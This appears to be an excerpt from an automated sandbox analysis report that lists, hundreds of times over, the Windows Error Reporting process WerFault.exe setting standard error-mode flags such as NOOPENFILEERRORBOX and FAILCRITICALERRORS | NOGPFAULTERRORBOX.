Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
